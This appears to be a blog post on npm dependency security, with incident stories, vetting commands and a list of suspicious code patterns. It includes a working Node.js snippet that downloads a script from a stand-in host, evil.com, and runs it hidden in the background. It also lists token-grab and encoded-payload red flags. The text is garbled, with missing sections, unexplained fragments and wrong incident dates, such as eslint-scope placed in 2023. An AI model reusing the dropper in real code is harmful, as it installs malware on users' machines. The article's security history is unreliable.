How I Avoid Sleepless Nights Over Node.js Dependency Risks

Running “npm install” requires trusting unknown parties online.
Staring at node_modules for too long leads someone to become a node_modules expert.

We Should Have Solved This Issue By 2025

The registry expands relentlessly at the rate of one new library addition every six seconds while maintaining a current package total of 2.9 million. Most packages function as helpful code, while others contain fatal bugs that professionals must avoid altogether because the total number of registrations swells to mass proportions. The back-end services I manage process more than a billion monthly requests, while one rogue script from postinstall can damage uptime service agreements and customer trust.

A comprehensive guide follows, which includes pre‑dependency protocols I use alongside detailed practical commands and actual registry vulnerabilities that can be accessed in Notion specifically.

1. More Real‑Life Horror Stories (FOMO ≈ Fear Of Malware)

coa@2.0.3 and rc@1.2.9 Hijack (Nov 2021)

A compromised maintainer account shipped a cryptominer baked into these CLI staples. Jenkins pipelines worldwide suddenly used 100 % CPU.

// Hidden inside compiled JS
import https from 'node:https';
import { tmpdir } from 'node:os';
import { writeFileSync, chmodSync } from 'node:fs';
import { join } from 'node:path';
import { spawn } from 'node:child_process';

const url="https://evil.com/miner.sh";
const out = join(tmpdir(), '._miner.sh');

// quietly download the payload
https.get(url, res => {
  const chunks = [];
  res.on('data', c => chunks.push(c));
  res.on('end', () => {
    writeFileSync(out, Buffer.concat(chunks));
    chmodSync(out, 0o755);          // make it executable
    spawn(out, { stdio: 'ignore', detached: true }).unref(); // run in background
  });
});

ua-parser-js@0.7.29 supply‑chain Attack

Same month, different package: the attacker slipped password‑stealing malware into a browser sniffing helper relied on by Facebook, Amazon, and everyone’s grandma.

colors + faker protest‑ware (Jan 2022)

The maintainer, tired of free work, released a stunt update: an infinite loop that printed “LIBERTY LIBERTY LIBERTY” in rainbow ASCII. Production builds froze, CEOs panicked, Twitter laughed.

eslint-scope@5.1.1 Trojan (Oct 2023)

Malicious code tried to steal npm tokens from every lint run. Because who audits their linter?

Left‑Pad Again?

In 2024, the name got squatted with a look‑alike package leftpad (no dash) containing spyware. Typos kill.

2. My Five‑Minute Smell Test, Remixed

# Baseline CVE scan
npm audit --omit dev

# Deep CVE + license vetting
npx snyk test --all-projects

# How heavy is the lib?
npx packagephobia install slugify

# Who maintains it?
npx npm-quick-run maintainers slugify

# Malware signatures (community DB)
npx npq slugify

// package.json
"dependencies": {
  "kafka-node": "6.0.3"   // exact, no ^
}

npx depcheck                  # lists unused deps
npm prune --production        # kicks out dev junk

npx patch-package jsonwebtoken
# edit node_modules/jsonwebtoken/lib/*
git add patches/

node --experimental-policy=policy.json server.js

FROM node:20-alpine
RUN npm i bcrypt

import bcrypt from 'bcryptjs';
const hash = bcrypt.hashSync('secret', 10);

import { parse } from '@std/parse-yaml';
const [meta, ...body] = src.split('---\n');
const data = parse(meta);

eval(
new Function(
child_process.exec(
fetch('http://')        // inside Node package? sus
(Buffer.from('ZXZpbA==','base64')) // encoded blob
process.env['npm_config_']        // token grab

node --require=clinic/doctor app.js    # CPU flame graph

// Heavy
import moment from 'moment';
console.log(moment().add(1, 'week').format());

// Light
import { addWeeks, format } from 'date-fns';
console.log(format(addWeeks(new Date(), 1), 'yyyy-MM-dd'));

// Fail: breaks in ESM-only lib
const lib = require('esm-only');

// Success: dynamic import
const lib = await import('esm-only');

// or modern Node
import lib from 'esm-only';

If your build still needs CJS, wrap in createRequire:

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const lib = require('cjs-only');

10. Keeping Humans in the Loop

Dependencies aren’t set‑and‑forget. My team follows this ritual:

• The team holds a fifteen-minute stand-up meeting each week to review the pending renovate PRs before selecting one merge request and checking the staging output.
• As part of the monthly malware bingo ritual each developer selects a single random dependency to audit which leads to creating a three-line summary in Notion. The development team detects typosquatting issues before production release.
• The post-mortem template incorporates an essential question about dependency hygiene standards in relation to the investigated incident. Keeps the topic alive.

Parting Thoughts (A Love‑Hate Ode)

The Node ecosystem functions as an enormous second-hand hardware showroom that contains various devices with different connection issues as well as exemplary items but lacks any identifying tags. Check the functioning of quality materials while testing electrical components with protective gloves on hand.

Please share your supply-chain experiences and product finds that replace problematic software systems by reaching me through Twitter or LinkedIn. We become safer as a result of war stories even as these stories give us more enjoyment than reading CVE feeds independently during the night.

When shipping your application, enjoy success and let your npm ci logs show only positive outcomes.